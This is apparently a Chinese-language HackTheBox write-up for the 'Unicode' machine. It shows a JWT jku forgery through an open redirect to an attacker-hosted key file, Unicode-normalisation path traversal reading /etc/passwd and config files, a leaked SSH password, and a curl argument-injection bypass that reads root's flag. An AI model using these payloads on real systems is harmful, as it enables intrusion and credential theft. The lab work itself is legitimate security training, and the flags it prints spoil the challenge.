Hackthebox - Unicode
靶场信息
靶场类型
信息搜集
首先使用nmap进行端口扫描
┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.126
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-04 01:22 EST
Nmap scan report for 10.10.11.126
Host is up (0.22s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=12/4%OT=22%CT=1%CU=41014%PV=Y%DS=2%DC=T%G=Y%TM=61AB094
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=C)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 217.74 ms 10.10.14.1
2 217.99 ms 10.10.11.126
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.13 seconds
这里只扫描到22和80端口,去80端口看一下http服务内容
这好像是一个威胁情报公司的官网,老规矩,一边扫描目录,一边看网站
┌──(root💀kali)-[~/Desktop]
└─# ffuf -u "http://10.10.11.126/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -fs 9294
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.126/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 9294
________________________________________________
. [Status: 200, Size: 2078, Words: 363, Lines: 69]
:: Progress: [43003/43003] :: Job [1/1] :: 155 req/sec :: Duration: [0:04:48] :: Errors: 0 ::
加了过滤后没扫出来东西,只能去一个个功能检查了
随便注册一个账号去试试能不能登录
登录后的页面,到处看看有没有什么可以利用的点吧
看到这里有一个上传点,上传试试吧
传是可以传的,但是感觉无法执行和不知道上传后的地址,放弃,看看其他思路
查看了一下cookie,莫名觉得眼熟,这不是JWT吗
复制到JWT.IO去看看
获得了一个新的URL http://hackmedia.htb/static/jwks.json
我们把这个页面添加到hosts里
echo 10.10.11.126 hackmedia.htb >> /etc/hosts
然后再去访问这个URL
将获取到的json保存到本地
curl http://hackmedia.htb/static/jwks.json > jwks.json
https://hackernoon.com/json-web-tokens-jwt-demystified-f7e202249640
https://openid.net/specs/draft-jones-json-web-key-03.html#Acknowledgements
找到两篇jwt相关的文章,大家有兴趣的自己看一下吧,我就不详细讲解了
使用在线工具生成一个jwt的key
然后使用我们生成出来的json里的n值,替换掉我们保存的json里的n值
漏洞利用
使用python3开启一个http服务
┌──(root💀kali)-[~/Desktop]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
用admin替换掉我们的用户名,然后将新生成的key填入后生成新的JWT令牌
{
"typ": "JWT",
"alg": "RS256",
"jku": "http://hackmedia.htb/static/../redirect?url=10.10.14.14/jwks.json"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdD91cmw9MTAuMTAuMTQuMTQvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.BKe3g8gh_oyrQIjTOgSh4AqIKTHI79jQQhSG1t-jVxx0pvXL0yCAJi0gXvKpNSbKG_cVpzXlVT4e_mNmfF1-IqoneHTmkhEAMFR0ZT4AeVykvDFTlqaKJj2mgjTcXZ_S8odcWAQNRuzondUaOjRT9wr-_CrPm5xkbUwX_mu3p2jM1AWFISba8XM6bcnIBalRb398-7KJIveBaOhqmjEVdV4voFaBBMU7vS8yS4hhhzgE6NdvxiHPIeSFUYGpD9HcZXPmIgNAY1UmJjwMrF0n1N_MFGB_7oCK5KlTq4IIx4qRGQ8_JhAw8haQbC1jwC6A3zlHzqMVSfoafd6BdtYZ4A
http://hackmedia.htb/login/
得到了我们的新的令牌,然后去替换掉令牌
替换掉以后刷新页面
成功进入后台
点击这俩随便一个,会跳转到对应的pdf文件,这里经过各种测试,然后与朋友沟通后,发现可能是由于浏览器机制的原因,导致使用Firefox会有点问题,所以这里我换成了Chrome来执行
看着这个结构,我感觉有本地文件读取的漏洞,测一下
这里404了,但是却提示了我们有过滤,并且说我们永远也过不去这个过滤?
这我就不服了,不就unicode吗,绕他丫的
https://lazarv.com/posts/unicode-normalization-vulnerabilities/
看样子过滤是绕过去了,但是没访问到文件,那就层数不够嘛,再多加几层就好了
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd
这不就读取到了吗
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
code:x:1000:1000:,,,:/home/code:/bin/bash
这里看到有一个mysql的权限组,去读取mysql的密码,但不知道mysql路径在哪
我们知道nginx在这台靶机上运行着呢,试着去读取一下nginx的配置文件
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default
http://hackmedia.htb/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml
我们在nginx的配置文件里得到了一个路径
得到了code的用户密码,然后在passwd里我似乎看到code用户有ssh权限,去尝试一下
username = code
password = B3stC0d3r2021@@!
code@code:~$ whoami&&id
code
uid=1000(code) gid=1000(code) groups=1000(code)
OK,拿到user权限的shell了
code@code:~$ ls
coder user.txt
code@code:~$ cat user.txt
280ae5b99ba2b4de934bbd3b7f0fb0fd
拿到user权限的flag文件
权限提升
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
sudo -l看到有一个可以免密码root权限执行的二进制文件,执行一下看看什么效果
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:
好像是个威胁报告生成的?
先正常使用一下功能看看
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:1
Enter the filename:lucifiel
Enter the report:lucifiel
Enter your choice:2
ALL THE THREAT REPORTS:
lucifiel
Enter the filename:3
SOMETHING IS WRONG
Enter your choice:3
Enter the IP/file_name:lucifiel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: lucifiel
Enter your choice:lucifiel||whoami
Wrong Input
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:4
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:^CTraceback (most recent call last):
File "treport.py", line 79, in <module>
File "treport.py", line 43, in download
KeyboardInterrupt
[1431] Failed to execute script 'treport' due to unhandled exception!
随便使用了了一下功能,发现下载功能似乎是使用了curl进行读取,并且调用了python文件,这里使用工具给提取出python脚本看一下
首先使用scp将二进制文件下载下来
┌──(root💀kali)-[~/Desktop/pyinstxtractor]
└─# scp code@10.10.11.126:/usr/bin/treport ./
code@10.10.11.126's password:
treport
┌──(root💀kali)-[~/Desktop/pyinstxtractor]
└─# python3 pyinstxtractor.py treport
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: treport
You can now use a python decompiler on the pyc files within the extracted directory
这里使用一个py和c++的反编译工具
进入目录
cmake CMakeLists.txt
选择y
┌──(root💀kali)-[~/Desktop/pyinstxtractor/pycdc]
└─# cmake CMakeLists.txt 2 ⨯
-- The C compiler identification is GNU 10.2.1
-- The CXX compiler identification is GNU 10.2.1
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Found PythonInterp: /usr/bin/python (found version "2.7.18")
-- Configuring done
-- Generating done
-- Build files have been written to: /root/Desktop/pyinstxtractor/pycdc
┌──(root💀kali)-[~/Desktop/pyinstxtractor/pycdc]
└─# make
[ 2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/python_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.cpp, bytes/python_38.cpp, bytes/python_39.cpp, bytes/python_310.cpp
[ 4%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o
[ 7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o
[ 9%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o
[ 12%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o
[ 14%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o
[ 17%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o
[ 19%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o
[ 21%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o
[ 24%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o
[ 26%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o
[ 29%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o
[ 31%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o
[ 34%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o
[ 36%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o
[ 39%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o
[ 41%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o
[ 43%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o
[ 46%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o
[ 48%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o
[ 51%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o
[ 53%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o
[ 56%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o
[ 58%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o
[ 60%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o
[ 63%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o
[ 65%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o
[ 68%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o
[ 70%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o
[ 73%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o
[ 75%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o
[ 78%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o
[ 80%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_39.cpp.o
[ 82%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_310.cpp.o
[ 85%] Linking CXX static library libpycxx.a
[ 85%] Built target pycxx
[ 87%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o
[ 90%] Linking CXX executable pycdas
[ 90%] Built target pycdas
[ 92%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o
[ 95%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o
[ 97%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o
[100%] Linking CXX executable pycdc
[100%] Built target pycdc
┌──(root💀kali)-[~/Desktop/pyinstxtractor/pycdc]
└─# ./pycdc /root/Desktop/pyinstxtractor/treport_extracted/treport.pyc
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.9)
Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re
class threat_report:
def create(self):
Unsupported opcode: <255>
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
print('ALL THE THREAT REPORTS:')
print(files_in_dir)
def read_file(self):
Unsupported opcode: <255>
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = [
'$',
'`',
';',
'&',
'|',
'||',
'>',
'<',
'?',
"'",
'@',
'#',
'$',
'%',
'^',
'(',
')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
# WARNING: Decompyle incomplete
通过分析上述源码,我们可以看到这里使用curl命令来下载,但是使用了过滤,想办法构造语句绕过一下即可
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '2f935df00d52a1b17035600df088e81d' is
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
直接使用下载,并构造恶意语句读取指定的文件即可,成功拿到root权限的flag文件